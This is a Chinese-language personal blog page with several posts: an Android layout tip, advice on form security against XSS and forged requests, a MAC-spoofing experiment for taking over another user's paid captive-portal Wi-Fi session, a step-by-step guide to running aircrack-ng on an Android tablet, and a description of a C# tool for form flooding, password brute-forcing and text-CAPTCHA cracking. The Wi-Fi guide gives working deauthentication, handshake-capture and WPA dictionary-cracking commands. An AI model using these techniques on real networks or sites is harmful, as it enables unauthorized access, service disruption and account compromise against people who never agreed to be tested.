當我很困擾於每次鍵盤都會Resize我的View很討厭,去搜尋又找不到方法,結果,網路上搜尋結果是:物件沒有調整大小,而是「移動」了。使用下列代碼插入目標物件XML即可。
android:isScrollContainer="false"
僅此作為筆記。
Found 61 records. At Page 10 / 13.
當我很困擾於每次鍵盤都會Resize我的View很討厭,去搜尋又找不到方法,結果,網路上搜尋結果是:物件沒有調整大小,而是「移動」了。使用下列代碼插入目標物件XML即可。
android:isScrollContainer="false"
僅此作為筆記。
This entry was posted in Android, General, Experience, Functions, Java, XML By Weil Jimmer.
閒閒沒事在Google搜尋我自己部落相關的關鍵字,想看看能見度多高還有會顯示什麼東西,我搜尋表單攻擊,卻看到別人部落上寫了一篇表單安全性的文章,突然有感而發,我也來發表這類的東西。
--只是個人淺見,若有高手歡迎指正。--
首先撰寫表單堅持一些要點就不容易被攻擊。
最基本的防禦XSS,那些JavaScript寫成的惡意程式碼,還有跨站框架……等等攻擊。最主要只要擋掉「HTML」標籤就可以了,問題是,萬一我要開放HTML給使用者使用,這下才是真的麻煩,如果真如此就只好開放BBcode囉。千萬不要直接允許用戶輸入HTML,即使是限制也是有問題的。
攻擊者可以利用事件 onClick、onError、onLoad 之類的方式觸發XSS攻擊。危險。
Replace掉所有「<」、「>」、單雙引號,就安全了嗎?Maybe,Maybe Not。
有些人就直接 Replace 掉 <script ,感覺上很對,實際上有很大的漏洞。
如果我寫 「<script<scr<scriptipt>」被過濾掉一次之後會變為「<script>」,像這種清除字串,最好寫一個 while true ,刪乾淨,搜尋到就刪,直到沒搜尋到為止。(萬不得已才這樣做)
個人建議全部改用 HTML 編碼,全面HTML編碼(HTML編碼就是 &#Unicode; 的形式的字串),若有引數是在資料庫語句的話就請不要用 XXX=XXX 的形式(數字型態),全部改用 XXX="XXX" 之類的,一定要有引號框住。並且過濾掉所有單雙引號<>以及反斜線。
至於傳進變數的方式,建議通通改成 POST ,不要使用 GET ,除非分頁設計還是什麼的,不然絕對沒必要使用 GET ,很危險。這有牽扯到某些伺服器的有啟用magic quotes,會自動脫逸引號字元,所以用POST會較為安全一些。而且POST,攻擊者比較不好攻擊。
還有COOKIE、Header 傳進來的 也建議 過濾掉。
又要再次重申 cookie 的危險程度,我幾乎寫程式只用 session 完全不使用 cookie,我知道session 有所謂的 SESSION_id 是透過 cookie 所存,所以攻擊者只要獲取其他人的 session ID,即可使用 cookie 欺騙 就這樣簡單的取得他人的帳號權限。
網路上有一堆防禦方法是 透過IP UserAgent 算出來的 MD5 作為安全碼,只要進來的安全碼和之前不同就登出用戶,是一個很棒的方式,不過很麻煩。這對登入表單有一些效果,如果是留言表單,我故意關閉cookie,讓server的session id 跳錯,這樣就很有可能可以直接不經過驗證碼就可以留言(前提是對方沒有檢查session驗證碼的值是否為空)。
我的作法是強制鎖定 session ID 為 IP 的 md5 值,這樣也許會有點不方便,不過我覺得這樣反而好一點,不需要擔心什麼 session 挾持,或是 對方換一個新的 ID 進來,明明被 ban 15分鐘又可以繼續留言。
什麼是表單偽造,表單傳入的值可以直接當成 name=value&name2=value2 ... 無限延伸,檢查也是檢查值,很多後端程式 根本不管從哪來 Request 進來的,這給攻擊者很大的方便,只要複製一分一模一樣的表單,就可以無限偽造一堆請求過去。
有些會透過 Header 的 Referer 來檢查 轉介站,不過 Header 也是可以偽造的。
所以,最好是在 表單一訪問的情況 就立刻生成一個 Key ,當值傳到後端處理的時候,就檢查那個 Key 有沒有相同,不同就是表單偽造,然後每次通過驗證就銷毀 Key重新生成一個新的,而攻擊者為了取得Key,必須一直不斷的向 「原始」 表單請求 ,獲取裡面的 Key 才可以發送資料。
這原理跟驗證碼有點相似,現在很多網站都有圖形驗證碼了。不過一樣也有一些是沒有驗證碼的,驗證碼是一定要有的!不然會被惡意攻擊,
而那些使用 「文字」驗證碼的人,自以為很安全,其實很危險。我近期開發出來的表單攻擊程式就可以破解文字驗證碼!即使是要經過數學運算的也是一樣可以破解。
意味著我可以提交完就訪問原始網站,分析驗證碼,又提交,又訪問原始網站,分析驗證碼,又提交……
唯有圖形驗證碼才可以防禦此類攻擊。文字驗證碼根本不可靠。
This entry was posted in General, Experience, Functions, HTML, JS, PHP By Weil Jimmer.
【Test】Both Device Which Is The Same MAC Address Connect to Wi-Fi
這個實驗,Jimmy Joe已經做過了,不過他網站上沒有描述清楚到底會怎樣,所以我要自己測試一下。
實驗裝置:
基地台:小米隨身Wi-Fi USB
裝置:Samsung Galaxy Tab 4 7.0 LTE(SMT235Y) 、 Infocus M810
首先因為我的手機很冷門,資訊極少,我也不知道要怎麼改Mac,但平板刷了CM12.1之後就可以使用Google Play商店上的Mac Changer,所以,用平板去改MAC地址。
在這之前,手機已經與Wi-Fi基地台連線了。
開始改MAC。
在電腦上顯示的結果如下:(未看到其他裝置登入,除了裝置名稱,其餘資訊,像是製造商、IP……等,都沒有變更。)
平板(Fake MAC)嘗試訪問網站,結果可以正常訪問。
現在輪到手機(原用戶):Wi-Fi 沒有斷線,呈現已登入狀態,不過傳輸數據完全沒有任何回應。(無法正常使用網路)
接著把平板(Fake MAC)遠離基地台,讓手機(原用戶)靠近基地台。再次實驗,以測試與訊號強度是否有關係。
結果還是一樣!原用戶無法正常使用網路,平板可以正常使用網路。(看來…是先登入的被無預警登出,後登入的佔主導權。)
下列是,假MAC改回正常MAC連入基地台。(原用戶沒有受到另一台裝置干擾)
結果原用戶果然可以正常使用網路。一整個過程當中,原用戶都沒有被中斷連線,只是,會有段時間感覺好像已經斷網了。(實際上還是連著的。)
實驗結束。
結論:以我這基地台來說,是不會察覺到有兩台裝置同時使用網路並造成一下有一下無的情況,而是,真的會被踢掉,假的會正常使用。
若手機重新連線應該又會換成原用戶佔主導權,而假的無法正常使用了。
所以,和訊號強度(遠近)無關。
/**********2015/8/28 五 (更新)************/
**已經實驗證實**若是在 Open Wi-Fi Guest Mode 的環境下,進行更改MAC地址的動作,可以免費存取Wi-Fi。
什麼意思?
講白一點就是:例如學校、公司…等環境,都有開放式的Wi-Fi,可以直接連進去但沒有網路,接著會提示要使用者登入帳密。進行網頁認證後才可以上網。
我們可以透過更改自己的MAC地址為已登入用戶的MAC地址,這樣會造成,已登入用戶無法正常上網,但我可以正常上網。
要如何取得別人的MAC?可以在終端機輸入:
arp -an
之類的,或用zANTI、dSploit、Intercepter-NG……查看內網的其他人的MAC地址。
再更改即可。
This entry was posted in General, Experience, Functions, The Internet, Note, Wi-Fi By Weil Jimmer.
警告:若本心得損壞了您的裝置,本人不負任何責任!我也沒必要回答您的任何問題!
本方法僅作測試用!不做非法用途,使用後,法律責任請自行負擔!
說明:使用WIFI USB 在手機/平板上實現Aircrack-ng WIFI 攻擊。開出 Monitor mode。進行各種測試。像是:DeAuth、FakeAuth、Crack WPA/WPA2/WEP Password、ARP……。各種超乎想像的攻擊,你覺得自己的Wifi安全嗎?我會回答:極度不安全。你呢?
首先我要說這一路完成是多麼的不容易,必須要有「耐心」,不畏懼困難與失敗不斷一再地嘗試,才可以通往成功之路。(我失敗的次數挺嚇人的,失敗30次以上,花了四個工作天才完成。)
和我用相同裝置(SM-T235Y)的人就可以免除這些動作,因為我已經編譯好一個boot.img公開下載,最下面有下載地址(要先裝好CM12.1,XDA有ROM下載地址,接著再刷我編譯的核心就可以了)。
※這篇主要是一篇心得文章,意思是我不太想回答別人的問題,但會盡我所能的詳述我各種遇上的困難與解決方法。
準備工具:
JDK、NDK、Build-Essential……LIB等。
手機/平板 、 OTG線(USB母、Mirco USB公) 、 支援Monitor Mode的無線網卡USB。
ROM 安裝包(boot.img)、 Kernel Source。
-----
我準備的是:Samsung Galaxy Tab 4 7.0 LTE T235Y 、 TP-Link WN722N。
建議開始編譯前,先調查好支援的網卡晶片型號是什麼,以及是否可以成功開出Mon模式。我之前很大的錯誤點,就是我買了RTL8188CU,難怪開不出Mon。
可以到這個網站去查詢該網卡晶片是否被Aircrack-ng所支援:
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers
大致上準備完畢就可以開始編譯工作,如果你的手機/平板很熱門,網路上有人開發出支援網卡的核心的話,就可以跳過這步。
第一步,必須在Ubuntu的環境下進行編譯核心,並且安裝好必要組件(網路上搜尋就有一堆教學)
開啟終端機,進入先解壓縮核心,tar xvf Kerenl_Source,然後 cd 進去資料夾內。
cd Kernel_Source_Dir
有些教學可能會要使用者先Clean,不過在這之前,我們要先確定GCC編譯工具的位置,就是所下載的NDK,解壓縮後裡面會有toolchains,進去裡面找到「合適」的GCC。
(可能要先去搜尋你手機或平板的CPU是什麼型號,建議可以先去Google Play下載CPU Spy,就會知道用什麼版本號的GCC,要對應正確的版本,否則會編譯失敗,如下圖,就是編譯失敗的結果。)
確定好,GCC的路徑之後,匯入交叉編譯的變數裡面。或是直接更改Make檔案。記得ARCH一定要設定成arm,接著就執行make clean && make mrproper,示例代碼如下。
(不一定完全符合你裝置的型號!要自己去匹配正確的GCC編譯工具,當初我就卡死在這,明明照教學卻一直編譯失敗)
ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make clean && make mrproper
照理是不應該出現Command Not Found,如果跑出這句話,表示GCC沒有正確的匹配到!要檢查路徑是否正確,如果都正常的話,就進入下一步,配置.config檔案。
(我們可以在Make File裡面做一些更改,Extraversion改成你想取的版本號!只能英文小寫,不能有空格,例如:weil-jimmer-build-v1,不超過64個字母為限!)
DEVICE_NAME=裝置名稱(XXXX_deconfig,例如:degaslte_01_defconfig)
可以進入ach/arm/config找尋匹配你裝置的配置檔案。
ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make DEVICE_NAME
重新配置Linux核心。
ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make menuconfig
接著應該會跳出藍底灰介面黑字的畫面。
我們要在裡面配置網卡驅動,使目標驅動Built-in,這樣接上OTG才可以讓網卡正確工作。
詳細配置方法可以參考:
https://support.criticallink.com/redmine/projects/arm9-platforms/wiki/USB_WiFi_Configuration
最後,就是編譯,有些教學會在make 後面加個參數 -j5 之類的,我倒覺得沒差,只是跑多線程編譯,會變比較快而已!
ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make
,按下Enter後,就可以去喝個咖啡,看看影片,等個幾十分鐘,最後,就會看到Kernel:arch/arm/boot/zImage is Ready。
到這一步時,又使我卡住了,下一步呢?有不少教學提供參考是,把zImage轉成ZIP,用Recovery刷進去裡面,但是要有AnyKernel.zip而且要符合裝置型號,並不是每台裝置都支持!有AnyKernel.zip之後,就只是把zImage丟進去取代,再刷入裝置。
但,像我這種冷門平板,怎可能有相對應的型號!所以,我們得另求方法,網路上有人又說了,可以在手機上使用 Odin Mobile App,刷入zImage,但也是一樣,只對特定機型有支援而已,而我的裝置還是處於冷門狀態,也不支援這方式!
也有人說:可以使用指令:
zImage=zImage的路徑
fastboot flash zimage zImage
相對的,這是裝置必須支援 bootloader!不過因為我的裝置是三星,所以,沒有bootloader,這方法不可行!
因此我用了一個比較危險但Work的方法!
就是抽取boot.img,切割為 RamDisk + zImage,最後再組合回去!用TWRP刷入裝置boot裡面!
boot.img 怎麼取得?答案就是從 ROM安裝包裡面解壓縮出來!(要從裝置系統分區提取出來也是可行!不過太複雜,不採用。)
接著我們把boot.img透過 Android Kitchen,切割,最後把我們編譯的zImage丟進資料夾取代,最後合成出一個新的boot.img!
Android Kitchen 下載地址:
主要地址:https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q
當合成好boot.img,就可以來刷入裝置!
刷入成功後,可以確認一下版本號,檢查核心是不是自己所編譯的那個zImage!
成功之後,可以先去Google Play下載一個工具ifconfig或是終端機還是什麼的,總之可以檢查網卡的工具,然後把OTG+天線插入裝置中,檢查是否多出了wlan1。(可能需要用終端機,輸入指令ifconfig wlan1 up。)
(如果沒有找到wlan1,可能需要先複製驅動檔案到/verndo/firmware/,例如我的AR9271天線,就有一個firmware檔案名為htc_9271.fw,可以在 https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo 下載的到,使用Root Explorer複製驅動貼上至「firmware」資料夾,各個裝置可能不太相同!請自行判斷。)
經確認,多了一個 wlan1 網卡,而且移除OTG線,wlan1就消失了,所以可以肯定,就是我們所插入的WIFI usb網卡。
下一步,我們可以去 Google Play 商店上,安裝 Linux Deploy ,
(核心要有支援loopback device,一樣這個可以在內核Linux配置裡面找到,或是直接修改.config檔案,備註:.config檔案屬性是隱藏的。)
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8
(可能要先關閉SELinux,不對,應該說分區系統的配置最好都設定777,可以去搜尋一下loop device的配置。)
等待安裝完成啟動Linux!
透過 ssh 或是 vnc 連線至 localhost ,密碼預設是 changeme。
成功連線後,進入Linux,
sudo apt-get install ethtool
sudo apt-get install usbutils
sudo apt-get install aircrack-ng
ifconfig wlan1 up
airmon-ng start wlan1
最後 airodump-ng wlan1mon 一下。測試可以抓到資料,就大功告成了!
這就是我冷門平板編譯成功 支援 網卡 loop裝置實現 aircrack on android 的圖片。
萬事俱備,就可以來破解Wifi密碼了。
先監聽一下目標。
airodump-ng wlan1mon
找到目標後,Ctrl+C 取消進程。然後監聽特定目標並存檔。
airodump-ng --bssid BSSID -c CHANNEL -w OUTPUT_FILE_NAME wlan1mon
最後給AP來個DeAuth!
aireplay-ng -0 1 -a AP_MAC -c CLIENT_MAC wlan1mon
#-0 DeAuth Count.
就可以得到 WPA/WPA2 4-way HandShake 關鍵包。
接著就來 aircrack !爆破WPA2/WPA密碼。
字典檔可以在這下載:http://dazzlepod.com/site_media/txt/passwords.txt
wget http://dazzlepod.com/site_media/txt/passwords.txt
aircrack-ng -w PASSWORD_FILE -b BSSID OUTPUT_CAP_FILE*.cap
WEP則另當別論。用aireplay-ng -3 ARP Attack即可。得到一萬個IVS之後,用aircrack-ng 的 -a 1 WEP 破解模式。
資料下載:
Android Kitchen:
https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q
htc9271.fw
https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo
.config (僅供參考,切勿直接使用,裝置不一的話,可能會損壞你的裝置)
https://mega.nz/#!scVxWSYY!hMzV3AMHC9YMru8rQjMUPyq81q8x7l2n-PpTdY7l1CQ
CM12.1 (FOR SM-T235(Y) Only)
https://www.androidfilehost.com/?fid=24052804347790522
weil-jimmer-wifi-build-v5.img (FOR SM-T235Y CM12.1 Only)
https://mega.nz/#!QYFHxTJb!w1whKQ7SPrdtVZdtsPnTepEMPxpDtD2I7tnU2jXSCBk
This entry was posted in General, Experience, Functions, Note, Tools, Wi-Fi By Weil Jimmer.
終於正式完成拉,其實正式完成很久了,只是都沒有發表。看別人寫一篇程式就發一篇文,那我也來這樣好了。
這是我第一個用C Sharp寫成的程式,沒想到剛入門就可以那麼熟,我覺得有點…不可思議,對我來說 .NET系列都是一樣的。當然我再也不碰 VB.NET,除非寫舊專案。
主要功能涵蓋三個:
一、表單灌水。
二、表單爆破。
三、登入表單抓取資料。
今天的更新呢,就是加入"破解需要數字運算的文字驗證碼"。
測試頁:
如上,類似左下角的那紅色數學運算文字驗證碼。
填入好資料就大概長這副模樣,就直接開始爆破密碼了!大概過了七分鐘後破解出來。
因為鄙人的Server有點爛,所以在爆破的時候CPU飆到100%沒有回應,有點卡頓。破解出密碼為:2a!。填入後,也登入成功。
第三個功能如下:
當然這麼沒有填東西進去,我沒有測試頁,不過,我是有實際測試過的喔!
本程式支援破解簡單文字驗證碼,包刮用Name抓取阿,用ID抓取,還是固定字數去抓取,都通。今天又加入了數字運算的功能。
支援破解類型包刮 A~Z、a~z、a~zA~Z、0~9、0~9a~z、0~9A~Z、0~9a~zA~Z符號、身份證字號、字典檔(同目錄下dic.txt、dic2.txt)。
這東西有點在法律邊緣了。
This entry was posted in C#, General, Functions, Product, Tools By Weil Jimmer.
White Birch Forum © Copyright
©2010- W.B.F. All Rights Reserved.
Weil Jimmer Web PHP Script